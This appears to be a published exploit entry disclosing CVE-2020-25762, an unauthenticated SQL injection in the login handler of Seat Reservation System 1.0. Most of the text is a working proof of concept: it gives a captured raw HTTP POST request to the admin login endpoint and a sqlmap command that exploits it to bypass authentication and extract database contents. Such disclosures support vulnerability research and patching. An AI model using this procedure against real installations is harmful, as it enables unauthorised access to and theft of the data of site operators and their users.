Seat Reservation System 1.0 – Unauthenticated SQL Injection
# Title: Seat Reservation System 1.0 - Unauthenticated SQL Injection # Exploit Author: Rahul Ramkumar # Date: 2020-09-16 # Vendor Homepage: www.sourcecodester.com # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/seat-reservation-system-using-php_0.zip # Version: 1.0 # Tested On: Windows 10 Enterprise 1809 (x64_86) + XAMPP 7.2.33-1 # CVE: CVE-2020-25762 # Description The file admin_class.php does not perform input validation on the username and password parameters. An attacker can send malicious input in the post request to /admin/ajax.php?action=login and bypass authentication, extract sensitive information etc. #POC 1) Navigate to the admin login page Example: http://192.168.1.72/seat_reservation/admin/login.php 2) Fill in dummy values for 'username' and 'password' fields and send the request via an HTTP intercept tool 3) Save the request to file. Example, seat_reservation_sqli.req POST /seat_reservation/admin/ajax.php?action=login HTTP/1.1 Host: 192.168.1.72 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 32 Origin: http://192.168.1.72 DNT: 1 Connection: close username=admin&password=dummy 4) Run SQLmap on the file, sqlmap -r seat_reservation_sqli.req --dbms=mysql --threads=10 |